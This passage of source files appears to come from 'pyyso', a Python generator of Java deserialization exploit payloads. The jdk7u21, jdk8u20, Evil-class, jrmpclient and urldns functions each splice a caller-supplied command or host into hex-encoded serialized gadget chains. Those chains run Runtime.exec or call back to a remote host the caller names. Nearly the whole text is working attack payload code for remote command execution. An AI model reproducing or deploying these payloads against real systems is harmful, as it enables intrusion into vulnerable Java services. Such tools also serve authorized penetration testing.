返回一个包含了cmd指令的class文件,内嵌的类名称是Evil 4 | """ 5 | prefix = "cafebabe00000034002a0a0008001b0a001c001d08001e0a001c001f0700200a000500210700220700230100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100064c4576696c3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b2956010004617267730100135b4c6a6176612f6c616e672f537472696e673b0100083c636c696e69743e010001650100154c6a6176612f6c616e672f5468726f7761626c653b01000d537461636b4d61705461626c6507002001000a536f7572636546696c650100094576696c2e6a6176610c0009000a0700240c0025002601" 6 | postfix = "0c002700280100136a6176612f6c616e672f5468726f7761626c650c0029000a0100044576696c0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b547261636500210007000800000000000300010009000a0001000b0000002f00010001000000052ab70001b100000002000c00000006000100000001000d0000000c000100000005000e000f00000009001000110001000b0000002b0000000100000001b100000002000c0000000600010000000c000d0000000c00010000000100120013000000080014000a0001000b000000610002000100000012b800021203b6000457a700084b2ab60006b1000100000009000c00050003000c0000001600050000000400090007000c0005000d000600110008000d0000000c0001000d000400150016000000170000000700024c070018040001001900000002001a" 7 | length = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | -------------------------------------------------------------------------------- /src/pyyso/yso/jdk7u21.py: -------------------------------------------------------------------------------- 1 | def jdk7u21(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f02ede4d2ea00000180c703330680017372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e02000070787200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000103f400000000000027372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870" 4 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 5 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723233353037333532373233343937360100204c79736f73657269616c2f50776e65723233353037333532373233343937363b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0026000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737d00000001001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c6174657374001966696c653a2f707269766174652f746d702f79736f2e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c77080000001000000001740008663561356136303871007e0023787672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573000000000000000000000070787078" 6 | length = (0x696 + len(cmd)).to_bytes(4, byteorder='big').hex() 7 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | prefix = "aced0005737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e020000787200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000027372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870" 12 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 13 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572363136363035363038373032363001001f4c79736f73657269616c2f50776e657236313636303536303837303236303b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e000b000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737d00000001001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740008663561356136303871007e0008787672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000787078" 14 | length = (0x694 + len(cmd)).to_bytes(4, byteorder='big').hex() 15 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 16 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 17 | data = bytes.fromhex(hexdata) 18 | return data 19 | -------------------------------------------------------------------------------- /src/pyyso/yso/jdk8u20.py: -------------------------------------------------------------------------------- 1 | def jdk8u20(cmd: str) -> bytes: 2 | prefix = "aced0005737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e020000787200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000003737200296a6176612e6265616e732e6265616e636f6e746578742e4265616e436f6e74657874537570706f7274bc4820f0918fb90c0300045a000a64657369676e54696d655a000a6f6b546f55736547756949000c73657269616c697a61626c654c00066c6f63616c657400124c6a6176612f7574696c2f4c6f63616c653b7872002e6a6176612e6265616e732e6265616e636f6e746578742e4265616e436f6e746578744368696c64537570706f727457d4efc704dc72250300034c00146265616e436f6e746578744368696c64506565727400294c6a6176612f6265616e732f6265616e636f6e746578742f4265616e436f6e746578744368696c643b4c00097063537570706f72747400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00097663537570706f72747400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b787071007e0009737200206a6176612e6265616e732e50726f70657274794368616e6765537570706f727458d5d264574860bb03000349002a70726f70657274794368616e6765537570706f727453657269616c697a65644461746156657273696f6e4c00086368696c6472656e7400154c6a6176612f7574696c2f486173687461626c653b4c0006736f757263657400124c6a6176612f6c616e672f4f626a6563743b7870000000027071007e00097078737200206a6176612e6265616e732e5665746f61626c654368616e6765537570706f7274b95bf022ca752f3f03000349002a7665746f61626c654368616e6765537570706f727453657269616c697a65644461746156657273696f6e4c00086368696c6472656e71007e000b4c0006736f7572636571007e000c7870000000027071007e0009707878000100000001737200106a6176612e7574696c2e4c6f63616c657ef811609c30f9ec03000649000868617368636f64654c0007636f756e7472797400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7371007e00114c00086c616e677561676571007e00114c000673637269707471007e00114c000776617269616e7471007e00117870ffffffff740002434e7400007400027a6871007e001471007e0014787372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50300024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f400000000000017708000000020000000174000866356135613630387372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c65736865657471007e00114c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00114c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870" 3 | midfix = "cafebabe00000034001b0100073378706c3031740700010100106a6176612f6c616e672f4f626a65637407000301000a536f7572636546696c6501000c3378706c3031742e6a617661010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700070100083c636c696e69743e010003282956010004436f64650100116a6176612f6c616e672f52756e74696d6507000c01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c000e000f0a000d001001" 4 | postfix = "08001201000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c001400150a000d00160100063c696e69743e0c0018000a0a0008001900210002000800000000000200080009000a0001000b00000016000200000000000ab800111213b6001757b10000000000010018000a0001000b0000001100010001000000052ab7001ab10000000000010005000000020006707400063072616e67657077010078787672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573000000000000000000000078707704000000007871007e0022737d00000001001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b787071007e001978" 5 | length = (0x19a + len(cmd)).to_bytes(4, byteorder='big').hex() 6 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 7 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 8 | data = bytes.fromhex(hexdata) 9 | return data 10 | -------------------------------------------------------------------------------- /src/pyyso/yso/jrmpclient.py: -------------------------------------------------------------------------------- 1 | def jrmpclient(hostname: str, port: int) -> bytes: 2 | """ 3 | 输入hostname和port,例如127.0.0.1和789 4 | """ 5 | prefix = "aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e030000787077" 6 | midfix = "000a556e696361737452656600" 7 | postfix = "ffffffffe8e5fcc900000000000000000000000000000078" 8 | host = hostname.encode().hex() + port.to_bytes(4, byteorder="big").hex() 9 | length = (len(midfix + host + postfix) // 2).to_bytes(1, byteorder="big").hex() 10 | length2 = (len(hostname)).to_bytes(1, byteorder="big").hex() 11 | hexdata = prefix + length + midfix + length2 + host + postfix 12 | data = bytes.fromhex(hexdata) 13 | return data 14 | -------------------------------------------------------------------------------- /src/pyyso/yso/urldns.py: -------------------------------------------------------------------------------- 1 | def urldns(url: str) -> bytes: 2 | """ 3 | 输入包含协议的url 4 | """ 5 | from urllib.parse import urlparse 6 | prefix = "aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74" 7 | midfix = "74000071007e000574000468747470707874" 8 | postfix = "78" 9 | o = urlparse(url) 10 | length = len(o.hostname).to_bytes(2, byteorder="big").hex() 11 | length2 = len(url).to_bytes(2, byteorder="big").hex() 12 | hexdata = prefix + length + o.hostname.encode().hex() + midfix + length2 + url.encode().hex() + postfix 13 | data = bytes.fromhex(hexdata) 14 | return data 15 | --------------------------------------------------------------------------------